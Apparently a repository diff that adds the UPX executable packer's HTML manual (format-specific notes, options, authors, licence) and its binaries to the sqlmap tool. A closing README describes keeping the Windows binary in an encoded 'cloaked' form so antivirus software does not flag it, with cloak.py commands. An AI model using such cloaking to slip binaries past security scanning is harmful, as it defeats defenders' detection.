<p>Not all of the options are valid in the environment variable -
|
||||
<strong>UPX</strong> will tell you.</p>
|
||||
<p>You can explicitly use the <strong>--no-env</strong> option to ignore the
|
||||
environment variable.</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="notes_for_the_supported_executable_formats">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</a></h1>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_atari_tos">NOTES FOR ATARI/TOS</a></h2>
|
||||
<p>This is the executable format used by the Atari ST/TT, a Motorola 68000
|
||||
based personal computer which was popular in the late '80s. Support
|
||||
of this format is only because of nostalgic feelings of one of
|
||||
the authors and serves no practical purpose :-).
|
||||
See <a href="http://www.freemint.de">http://www.freemint.de</a> for more info.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression.
|
||||
All debug information will be stripped, though.</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_bvmlinuz_i386">NOTES FOR BVMLINUZ/I386</a></h2>
|
||||
<p>Same as vmlinuz/i386.</p>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_dos_com">NOTES FOR DOS/COM</a></h2>
|
||||
<p>Obviously <strong>UPX</strong> won't work with executables that want to read data from
|
||||
themselves (like some commandline utilities that ship with Win95/98/ME).</p>
|
||||
<p>Compressed programs only work on a 286+.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||
<p>Maximum uncompressed size: ~65100 bytes.</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--8086 Create an executable that works on any 8086 CPU.</pre>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<pre>
|
||||
--all-filters Compress the program several times, using all
|
||||
available preprocessing filters. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default filter gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_dos_exe">NOTES FOR DOS/EXE</a></h2>
|
||||
<p>dos/exe stands for all ``normal'' 16-bit DOS executables.</p>
|
||||
<p>Obviously <strong>UPX</strong> won't work with executables that want to read data from
|
||||
themselves (like some command line utilities that ship with Win95/98/ME).</p>
|
||||
<p>Compressed programs only work on a 286+.</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--8086 Create an executable that works on any 8086 CPU.</pre>
|
||||
<pre>
|
||||
--no-reloc Use no relocation records in the exe header.</pre>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_dos_sys">NOTES FOR DOS/SYS</a></h2>
|
||||
<p>Compressed programs only work on a 286+.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||
<p>Maximum uncompressed size: ~65350 bytes.</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--8086 Create an executable that works on any 8086 CPU.</pre>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<pre>
|
||||
--all-filters Compress the program several times, using all
|
||||
available preprocessing filters. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default filter gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_djgpp2_coff">NOTES FOR DJGPP2/COFF</a></h2>
|
||||
<p>First of all, it is recommended to use <strong>UPX</strong> *instead* of <strong>strip</strong>. strip has
|
||||
the very bad habit of replacing your stub with its own (outdated) version.
|
||||
Additionally <strong>UPX</strong> corrects a bug/feature in strip v2.8.x: it
|
||||
will fix the 4 KiB alignment of the stub.</p>
|
||||
<p><strong>UPX</strong> includes the full functionality of stubify. This means it will
|
||||
automatically stubify your COFF files. Use the option <strong>--coff</strong> to
|
||||
disable this functionality (see below).</p>
|
||||
<p><strong>UPX</strong> automatically handles Allegro packfiles.</p>
|
||||
<p>The DLM format (a rather exotic shared library extension) is not supported.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression.
|
||||
All debug information and trailing garbage will be stripped, though.</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--coff Produce COFF output instead of EXE. By default
|
||||
UPX keeps your current stub.</pre>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<pre>
|
||||
--all-filters Compress the program several times, using all
|
||||
available preprocessing filters. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default filter gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_linux__general_">NOTES FOR LINUX [general]</a></h2>
|
||||
<p>Introduction</p>
|
||||
<pre>
|
||||
Linux/386 support in UPX consists of 3 different executable formats,
|
||||
one optimized for ELF executables ("linux/elf386"), one optimized
|
||||
for shell scripts ("linux/sh386"), and one generic format
|
||||
("linux/386").</pre>
|
||||
<pre>
|
||||
We will start with a general discussion first, but please
|
||||
also read the relevant docs for each of the individual formats.</pre>
|
||||
<pre>
|
||||
Also, there is special support for bootable kernels - see the
|
||||
description of the vmlinuz/386 format.</pre>
|
||||
<p>General user's overview</p>
|
||||
<pre>
|
||||
Running a compressed executable program trades less space on a
|
||||
``permanent'' storage medium (such as a hard disk, floppy disk,
|
||||
CD-ROM, flash memory, EPROM, etc.) for more space in one or more
|
||||
``temporary'' storage media (such as RAM, swap space, /tmp, etc.).
|
||||
Running a compressed executable also requires some additional CPU
|
||||
cycles to generate the compressed executable in the first place,
|
||||
and to decompress it at each invocation.</pre>
|
||||
<pre>
|
||||
How much space is traded? It depends on the executable, but many
|
||||
programs save 30% to 50% of permanent disk space. How much CPU
|
||||
overhead is there? Again, it depends on the executable, but
|
||||
decompression speed generally is at least many megabytes per second,
|
||||
and frequently is limited by the speed of the underlying disk
|
||||
or network I/O.</pre>
|
||||
<pre>
|
||||
Depending on the statistics of usage and access, and the relative
|
||||
speeds of CPU, RAM, swap space, /tmp, and file system storage, then
|
||||
invoking and running a compressed executable can be faster than
|
||||
directly running the corresponding uncompressed program.
|
||||
The operating system might perform fewer expensive I/O operations
|
||||
to invoke the compressed program. Paging to or from swap space
|
||||
or /tmp might be faster than paging from the general file system.
|
||||
``Medium-sized'' programs which access about 1/3 to 1/2 of their
|
||||
stored program bytes can do particularly well with compression.
|
||||
Small programs tend not to benefit as much because the absolute
|
||||
savings is less. Big programs tend not to benefit proportionally
|
||||
because each invocation may use only a small fraction of the program,
|
||||
yet UPX decompresses the entire program before invoking it.
|
||||
But in environments where disk or flash memory storage is limited,
|
||||
then compression may win anyway.</pre>
|
||||
<pre>
|
||||
Currently, executables compressed by UPX do not share RAM at runtime
|
||||
in the way that executables mapped from a file system do. As a
|
||||
result, if the same program is run simultaneously by more than one
|
||||
process, then using the compressed version will require more RAM and/or
|
||||
swap space. So, shell programs (bash, csh, etc.) and ``make''
|
||||
might not be good candidates for compression.</pre>
|
||||
<pre>
|
||||
UPX recognizes three executable formats for Linux: Linux/elf386,
|
||||
Linux/sh386, and Linux/386. Linux/386 is the most generic format;
|
||||
it accommodates any file that can be executed. At runtime, the UPX
|
||||
decompression stub re-creates in /tmp a copy of the original file,
|
||||
and then the copy is (re-)executed with the same arguments.
|
||||
ELF binary executables prefer the Linux/elf386 format by default,
|
||||
because UPX decompresses them directly into RAM, uses only one
|
||||
exec, does not use space in /tmp, and does not use /proc.
|
||||
Shell scripts where the underlying shell accepts a ``-c'' argument
|
||||
can use the Linux/sh386 format. UPX decompresses the shell script
|
||||
into low memory, then maps the shell and passes the entire text of the
|
||||
script as an argument with a leading ``-c''.</pre>
|
||||
<p>General benefits:</p>
|
||||
<pre>
|
||||
- UPX can compress all executables, be it AOUT, ELF, libc4, libc5,
|
||||
libc6, Shell/Perl/Python/... scripts, standalone Java .class
|
||||
binaries, or whatever...
|
||||
All scripts and programs will work just as before.</pre>
|
||||
<pre>
|
||||
- Compressed programs are completely self-contained. No need for
|
||||
any external program.</pre>
|
||||
<pre>
|
||||
- UPX keeps your original program untouched. This means that
|
||||
after decompression you will have a byte-identical version,
|
||||
and you can use UPX as a file compressor just like gzip.
|
||||
[ Note that UPX maintains a checksum of the file internally,
|
||||
so it is indeed a reliable alternative. ]</pre>
|
||||
<pre>
|
||||
- As the stub only uses syscalls and isn't linked against libc it
|
||||
should run under any Linux configuration that can run ELF
|
||||
binaries.</pre>
|
||||
<pre>
|
||||
- For the same reason compressed executables should run under
|
||||
FreeBSD and other systems which can run Linux binaries.
|
||||
[ Please send feedback on this topic ]</pre>
|
||||
<p>General drawbacks:</p>
|
||||
<pre>
|
||||
- It is not advisable to compress programs which usually have many
|
||||
instances running (like `sh' or `make') because the common segments of
|
||||
compressed programs won't be shared any longer between different
|
||||
processes.</pre>
|
||||
<pre>
|
||||
- `ldd' and `size' won't show anything useful because all they
|
||||
see is the statically linked stub. Since version 0.82 the section
|
||||
headers are stripped from the UPX stub and `size' doesn't even
|
||||
recognize the file format. The file patches/patch-elfcode.h has a
|
||||
patch to fix this bug in `size' and other programs which use GNU BFD.</pre>
|
||||
<p>General notes:</p>
|
||||
<pre>
|
||||
- As UPX leaves your original program untouched it is advantageous
|
||||
to strip it before compression.</pre>
|
||||
<pre>
|
||||
- If you compress a script you will lose platform independence -
|
||||
this could be a problem if you are using NFS mounted disks.</pre>
|
||||
<pre>
|
||||
- Compression of suid, guid and sticky-bit programs is rejected
|
||||
because of possible security implications.</pre>
|
||||
<pre>
|
||||
- For the same reason there is no sense in making any compressed
|
||||
program suid.</pre>
|
||||
<pre>
|
||||
- Obviously UPX won't work with executables that want to read data
|
||||
from themselves. E.g., this might be a problem for Perl scripts
|
||||
which access their __DATA__ lines.</pre>
|
||||
<pre>
|
||||
- In case of internal errors the stub will abort with exitcode 127.
|
||||
Typical reasons for this to happen are that the program has somehow
|
||||
been modified after compression.
|
||||
Running `strace -o strace.log compressed_file' will tell you more.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_linux_elf386">NOTES FOR LINUX/ELF386</a></h2>
|
||||
<p>Please read the general Linux description first.</p>
|
||||
<p>The linux/elf386 format decompresses directly into RAM,
|
||||
uses only one exec, does not use space in /tmp,
|
||||
and does not use /proc.</p>
|
||||
<p>Linux/elf386 is automatically selected for Linux ELF executables.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||
<p>How it works:</p>
|
||||
<pre>
|
||||
For ELF executables, UPX decompresses directly to memory, simulating
|
||||
the mapping that the operating system kernel uses during exec(),
|
||||
including the PT_INTERP program interpreter (if any).
|
||||
The brk() is set by a special PT_LOAD segment in the compressed
|
||||
executable itself. UPX then wipes the stack clean except for
|
||||
arguments, environment variables, and Elf_auxv entries (this is
|
||||
required by bugs in the startup code of /lib/ld-linux.so as of
|
||||
May 2000), and transfers control to the program interpreter or
|
||||
the e_entry address of the original executable.</pre>
|
||||
<pre>
|
||||
The UPX stub is about 1700 bytes long, partly written in assembler
|
||||
and only uses kernel syscalls. It is not linked against any libc.</pre>
|
||||
<p>Specific drawbacks:</p>
|
||||
<pre>
|
||||
- For linux/elf386 and linux/sh386 formats, you will be relying on
|
||||
RAM and swap space to hold all of the decompressed program during
|
||||
the lifetime of the process. If you already use most of your swap
|
||||
space, then you may run out. A system that is "out of memory"
|
||||
can become fragile. Many programs do not react gracefully when
|
||||
malloc() returns 0. With newer Linux kernels, the kernel
|
||||
may decide to kill some processes to regain memory, and you
|
||||
may not like the kernel's choice of which to kill. Running
|
||||
/usr/bin/top is one way to check on the usage of swap space.</pre>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
(none)</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_linux_sh386">NOTES FOR LINUX/SH386</a></h2>
|
||||
<p>Please read the general Linux description first.</p>
|
||||
<p>Shell scripts where the underling shell accepts a ``-c'' argument
|
||||
can use the Linux/sh386 format. <strong>UPX</strong> decompresses the shell script
|
||||
into low memory, then maps the shell and passes the entire text of the
|
||||
script as an argument with a leading ``-c''.
|
||||
It does not use space in /tmp, and does not use /proc.</p>
|
||||
<p>Linux/sh386 is automatically selected for shell scripts that
|
||||
use a known shell.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||
<p>How it works:</p>
|
||||
<pre>
|
||||
For shell script executables (files beginning with "#!/" or "#! /")
|
||||
where the shell is known to accept "-c <command>", UPX decompresses
|
||||
the file into low memory, then maps the shell (and its PT_INTERP),
|
||||
and passes control to the shell with the entire decompressed file
|
||||
as the argument after "-c". Known shells are sh, ash, bash, bsh, csh,
|
||||
ksh, tcsh, pdksh. Restriction: UPX cannot use this method
|
||||
for shell scripts which use the one optional string argument after
|
||||
the shell name in the script (example: "#! /bin/sh option3\n".)</pre>
|
||||
<pre>
|
||||
The UPX stub is about 1700 bytes long, partly written in assembler
|
||||
and only uses kernel syscalls. It is not linked against any libc.</pre>
|
||||
<p>Specific drawbacks:</p>
|
||||
<pre>
|
||||
- For linux/elf386 and linux/sh386 formats, you will be relying on
|
||||
RAM and swap space to hold all of the decompressed program during
|
||||
the lifetime of the process. If you already use most of your swap
|
||||
space, then you may run out. A system that is "out of memory"
|
||||
can become fragile. Many programs do not react gracefully when
|
||||
malloc() returns 0. With newer Linux kernels, the kernel
|
||||
may decide to kill some processes to regain memory, and you
|
||||
may not like the kernel's choice of which to kill. Running
|
||||
/usr/bin/top is one way to check on the usage of swap space.</pre>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
(none)</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_linux_386">NOTES FOR LINUX/386</a></h2>
|
||||
<p>Please read the general Linux description first.</p>
|
||||
<p>The generic linux/386 format decompresses to /tmp and needs
|
||||
/proc file system support. It starts the decompressed program
|
||||
via the <code>execve()</code> syscall.</p>
|
||||
<p>Linux/386 is only selected if the specialized linux/elf386
|
||||
and linux/sh386 won't recognize a file.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression.</p>
|
||||
<p>How it works:</p>
|
||||
<pre>
|
||||
For files which are not ELF and not a script for a known "-c" shell,
|
||||
UPX uses kernel execve(), which first requires decompressing to a
|
||||
temporary file in the file system. Interestingly -
|
||||
because of the good memory management of the Linux kernel - this
|
||||
often does not introduce a noticeable delay, and in fact there
|
||||
will be no disk access at all if you have enough free memory as
|
||||
the entire process takes places within the file system buffers.</pre>
|
||||
<pre>
|
||||
A compressed executable consists of the UPX stub and an overlay
|
||||
which contains the original program in a compressed form.</pre>
|
||||
<pre>
|
||||
The UPX stub is a statically linked ELF executable and does
|
||||
the following at program startup:</pre>
|
||||
<pre>
|
||||
1) decompress the overlay to a temporary location in /tmp
|
||||
2) open the temporary file for reading
|
||||
3) try to delete the temporary file and start (execve)
|
||||
the uncompressed program in /tmp using /proc/<pid>/fd/X as
|
||||
attained by step 2)
|
||||
4) if that fails, fork off a subprocess to clean up and
|
||||
start the program in /tmp in the meantime</pre>
|
||||
<pre>
|
||||
The UPX stub is about 1700 bytes long, partly written in assembler
|
||||
and only uses kernel syscalls. It is not linked against any libc.</pre>
|
||||
<p>Specific drawbacks:</p>
|
||||
<pre>
|
||||
- You need additional free disk space for the uncompressed program
|
||||
in your /tmp directory. This program is deleted immediately after
|
||||
decompression, but you still need it for the full execution time
|
||||
of the program.</pre>
|
||||
<pre>
|
||||
- You must have /proc file system support as the stub wants to open
|
||||
/proc/<pid>/exe and needs /proc/<pid>/fd/X. This also means that you
|
||||
cannot compress programs that are used during the boot sequence
|
||||
before /proc is mounted.</pre>
|
||||
<pre>
|
||||
- Utilities like `top' will display numerical values in the process
|
||||
name field. This is because Linux computes the process name from
|
||||
the first argument of the last execve syscall (which is typically
|
||||
something like /proc/<pid>/fd/3).</pre>
|
||||
<pre>
|
||||
- Because of temporary decompression to disk the decompression speed
|
||||
is not as fast as with the other executable formats. Still, I can see
|
||||
no noticeable delay when starting programs like my ~3 MiB emacs (which
|
||||
is less than 1 MiB when compressed :-).</pre>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--force-execve Force the use of the generic linux/386 "execve"
|
||||
format, i.e. do not try the linux/elf386 and
|
||||
linux/sh386 formats.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_ps1_exe">NOTES FOR PS1/EXE</a></h2>
|
||||
<p>This is the executable format used by the Sony PlayStation (PSone),
|
||||
a Mips R3000 based gaming console which is popular since the late '90s.
|
||||
Support of this format is very similar to the Atari one, because of
|
||||
nostalgic feelings of one of the authors.</p>
|
||||
<p>Packed programs will be byte-identical to the original after uncompression,
|
||||
until further notice.</p>
|
||||
<p>Maximum uncompressed size: ~1.89 / ~7.60 MiB.</p>
|
||||
<p>Notes:</p>
|
||||
<pre>
|
||||
- UPX creates as default a suitable executable for CD-Mastering
|
||||
and console transfer. For a CD-Master main executable you could also try
|
||||
the special option "--boot-only" as described below.
|
||||
It has been reported that upx packed executables are fully compatible with
|
||||
the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in
|
||||
Sony PlayStation (PSone) emulation mode.</pre>
|
||||
<pre>
|
||||
- Normally the packed files use the same memory areas like the uncompressed
|
||||
versions, so they will not override other memory areas while unpacking.
|
||||
If this isn't possible UPX will abort showing a 'packed data overlap'
|
||||
error. With the "--force" option UPX will relocate the loading address
|
||||
for the packed file, but this isn't a real problem if it is a single or
|
||||
the main executable.</pre>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<pre>
|
||||
--8-bit Uses 8 bit size compression [default: 32 bit]</pre>
|
||||
<pre>
|
||||
--8mib-ram PSone has 8 MiB ram available [default: 2 MiB]</pre>
|
||||
<pre>
|
||||
--boot-only This format is for main exes and CD-Mastering only !
|
||||
It may slightly improve the compression ratio,
|
||||
decompression routines are faster than default ones.
|
||||
But it cannot be used for console transfer !</pre>
|
||||
<pre>
|
||||
--no-align This option disables CD mode 2 data sector format
|
||||
alignment. May slightly improves the compression ratio,
|
||||
but the compressed executable will not boot from a CD.
|
||||
Use it for console transfer only !</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_rtm32_pe_and_arm_pe">NOTES FOR RTM32/PE and ARM/PE</a></h2>
|
||||
<p>Same as win32/pe.</p>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_tmt_adam">NOTES FOR TMT/ADAM</a></h2>
|
||||
<p>This format is used by the TMT Pascal compiler - see <a href="http://www.tmt.com/">http://www.tmt.com/</a> .</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<pre>
|
||||
--all-filters Compress the program several times, using all
|
||||
available preprocessing filters. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default filter gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_vmlinuz_386">NOTES FOR VMLINUZ/386</a></h2>
|
||||
<p>The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed
|
||||
bootable Linux kernel image (``vmlinuz'', ``zImage'', ``bzImage''),
|
||||
gzip-decompress it and re-compress it with the <strong>UPX</strong> compression method.</p>
|
||||
<p>vmlinuz/386 is completely unrelated to the other Linux executable
|
||||
formats, and it does not share any of their drawbacks.</p>
|
||||
<p>Notes:</p>
|
||||
<pre>
|
||||
- Be sure that "vmlinuz/386" or "bvmlinuz/386" is displayed
|
||||
during compression - otherwise a wrong executable format
|
||||
may have been used, and the kernel won't boot.</pre>
|
||||
<p>Benefits:</p>
|
||||
<pre>
|
||||
- Better compression (but note that the kernel was already compressed,
|
||||
so the improvement is not as large as with other formats).
|
||||
Still, the bytes saved may be essential for special needs like
|
||||
boot disks.</pre>
|
||||
<pre>
|
||||
For example, this is what I get for my 2.2.16 kernel:
|
||||
1589708 vmlinux
|
||||
641073 bzImage [original]
|
||||
560755 bzImage.upx [compressed by "upx -9"]</pre>
|
||||
<pre>
|
||||
- Much faster decompression at kernel boot time (but kernel
|
||||
decompression speed is not really an issue these days).</pre>
|
||||
<p>Drawbacks:</p>
|
||||
<pre>
|
||||
(none)</pre>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<pre>
|
||||
--all-filters Compress the program several times, using all
|
||||
available preprocessing filters. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default filter gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_watcom_le">NOTES FOR WATCOM/LE</a></h2>
|
||||
<p><strong>UPX</strong> has been successfully tested with the following extenders:
|
||||
DOS4G, DOS4GW, PMODE/W, DOS32a, CauseWay.
|
||||
The WDOS/X extender is partly supported (for details
|
||||
see the file bugs BUGS).</p>
|
||||
<p>DLLs and the LX format are not supported.</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--le Produce an unbound LE output instead of
|
||||
keeping the current stub.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<h2><a name="notes_for_win32_pe">NOTES FOR WIN32/PE</a></h2>
|
||||
<p>The PE support in <strong>UPX</strong> is quite stable now, but probably there are
|
||||
still some incompatibilities with some files.</p>
|
||||
<p>Because of the way <strong>UPX</strong> (and other packers for this format) works, you
|
||||
can see increased memory usage of your compressed files because the whole
|
||||
program is loaded into memory at startup.
|
||||
If you start several instances of huge compressed programs you're
|
||||
wasting memory because the common segments of the program won't
|
||||
get shared across the instances.
|
||||
On the other hand if you're compressing only smaller programs, or
|
||||
running only one instance of larger programs, then this penalty is
|
||||
smaller, but it's still there.</p>
|
||||
<p>If you're running executables from network, then compressed programs
|
||||
will load faster, and require less bandwidth during execution.</p>
|
||||
<p>DLLs are supported. But UPX compressed DLLs can not share common data and
|
||||
code when they got used by multiple applications. So compressing msvcrt.dll
|
||||
is a waste of memory, but compressing the dll plugins of a particular
|
||||
application may be a better idea.</p>
|
||||
<p>Screensavers are supported, with the restriction that the filename
|
||||
must end with ``.scr'' (as screensavers are handled slightly different
|
||||
than normal exe files).</p>
|
||||
<p>UPX compressed PE files have some minor memory overhead (usually in the
|
||||
10 - 30 KiB range) which can be seen by specifying the ``-i'' command
|
||||
line switch during compression.</p>
|
||||
<p>Extra options available for this executable format:</p>
|
||||
<pre>
|
||||
--compress-exports=0 Don't compress the export section.
|
||||
Use this if you plan to run the compressed
|
||||
program under Wine.
|
||||
--compress-exports=1 Compress the export section. [DEFAULT]
|
||||
Compression of the export section can improve the
|
||||
compression ratio quite a bit but may not work
|
||||
with all programs (like winword.exe).
|
||||
UPX never compresses the export section of a DLL
|
||||
regardless of this option.</pre>
|
||||
<pre>
|
||||
--compress-icons=0 Don't compress any icons.
|
||||
--compress-icons=1 Compress all but the first icon.
|
||||
--compress-icons=2 Compress all icons which are not in the
|
||||
first icon directory. [DEFAULT]
|
||||
--compress-icons=3 Compress all icons.</pre>
|
||||
<pre>
|
||||
--compress-resources=0 Don't compress any resources at all.</pre>
|
||||
<pre>
|
||||
--keep-resource=list Don't compress resources specified by the list.
|
||||
The members of the list are separated by commas.
|
||||
A list member has the following format: I<type[/name]>.
|
||||
I<Type> is the type of the resource. Standard types
|
||||
must be specified as decimal numbers, user types can be
|
||||
specified by decimal IDs or strings. I<Name> is the
|
||||
identifier of the resource. It can be a decimal number
|
||||
or a string. For example:</pre>
|
||||
<pre>
|
||||
--keep-resource=2/MYBITMAP,5,6/12345</pre>
|
||||
<pre>
|
||||
UPX won't compress the named bitmap resource "MYBITMAP",
|
||||
it leaves every dialog (5) resource uncompressed, and
|
||||
it won't touch the string table resource with identifier
|
||||
12345.</pre>
|
||||
<pre>
|
||||
--force Force compression even when there is an
|
||||
unexpected value in a header field.
|
||||
Use with care.</pre>
|
||||
<pre>
|
||||
--strip-relocs=0 Don't strip relocation records.
|
||||
--strip-relocs=1 Strip relocation records. [DEFAULT]
|
||||
This option only works on executables with base
|
||||
address greater or equal to 0x400000. Usually the
|
||||
compressed files becomes smaller, but some files
|
||||
may become larger. Note that the resulting file will
|
||||
not work under Windows 3.x (Win32s).
|
||||
UPX never strips relocations from a DLL
|
||||
regardless of this option.</pre>
|
||||
<pre>
|
||||
--all-methods Compress the program several times, using all
|
||||
available compression methods. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default method gives the best results anyway.</pre>
|
||||
<pre>
|
||||
--all-filters Compress the program several times, using all
|
||||
available preprocessing filters. This may improve
|
||||
the compression ratio in some cases, but usually
|
||||
the default filter gives the best results anyway.</pre>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="diagnostics">DIAGNOSTICS</a></h1>
|
||||
<p>Exit status is normally 0; if an error occurs, exit status
|
||||
is 1. If a warning occurs, exit status is 2.</p>
|
||||
<p><strong>UPX</strong>'s diagnostics are intended to be self-explanatory.</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="bugs">BUGS</a></h1>
|
||||
<p>Please report all bugs immediately to the authors.</p>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="authors">AUTHORS</a></h1>
|
||||
<pre>
|
||||
Markus F.X.J. Oberhumer <markus@oberhumer.com>
|
||||
<a href="http://www.oberhumer.com">http://www.oberhumer.com</a></pre>
|
||||
<pre>
|
||||
Laszlo Molnar <ml1050@users.sourceforge.net></pre>
|
||||
<pre>
|
||||
John F. Reiser <jreiser@BitWagon.com></pre>
|
||||
<pre>
|
||||
Jens Medoch <jssg@users.sourceforge.net></pre>
|
||||
<p>
|
||||
</p>
|
||||
<hr />
|
||||
<h1><a name="copyright">COPYRIGHT</a></h1>
|
||||
<p>Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer</p>
|
||||
<p>Copyright (C) 1996-2008 Laszlo Molnar</p>
|
||||
<p>Copyright (C) 2000-2008 John F. Reiser</p>
|
||||
<p>Copyright (C) 2002-2008 Jens Medoch</p>
|
||||
<p>This program may be used freely, and you are welcome to
|
||||
redistribute it under certain conditions.</p>
|
||||
<p>This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
<strong>UPX License Agreement</strong> for more details.</p>
|
||||
<p>You should have received a copy of the UPX License Agreement along
|
||||
with this program; see the file LICENSE. If not, visit the UPX home page.</p>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
BIN
lib/contrib/upx/linux/upx
Executable file
BIN
lib/contrib/upx/linux/upx
Executable file
Binary file not shown.
BIN
lib/contrib/upx/macosx/upx
Executable file
BIN
lib/contrib/upx/macosx/upx
Executable file
Binary file not shown.
11
lib/contrib/upx/windows/README.txt
Normal file
11
lib/contrib/upx/windows/README.txt
Normal file
@@ -0,0 +1,11 @@
|
||||
Due to the anti-virus positive detection of executable stored inside this
|
||||
folder, we needed to somehow circumvent this. As from the plain sqlmap
|
||||
users perspective nothing has to be done prior to its usage by sqlmap, but
|
||||
if you want to have access to the original executable use the decrypt
|
||||
functionality of the ../../../../extra/cloak/cloak.py utility.
|
||||
|
||||
To prepare the executable to the cloaked form use this command:
|
||||
python ../../../../extra/cloak/cloak.py -i upx.exe
|
||||
|
||||
To get back the original executable use this:
|
||||
python ../../../../extra/cloak/cloak.py -d -i upx.exe_
|
||||
BIN
lib/contrib/upx/windows/upx.exe_
Normal file
BIN
lib/contrib/upx/windows/upx.exe_
Normal file
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user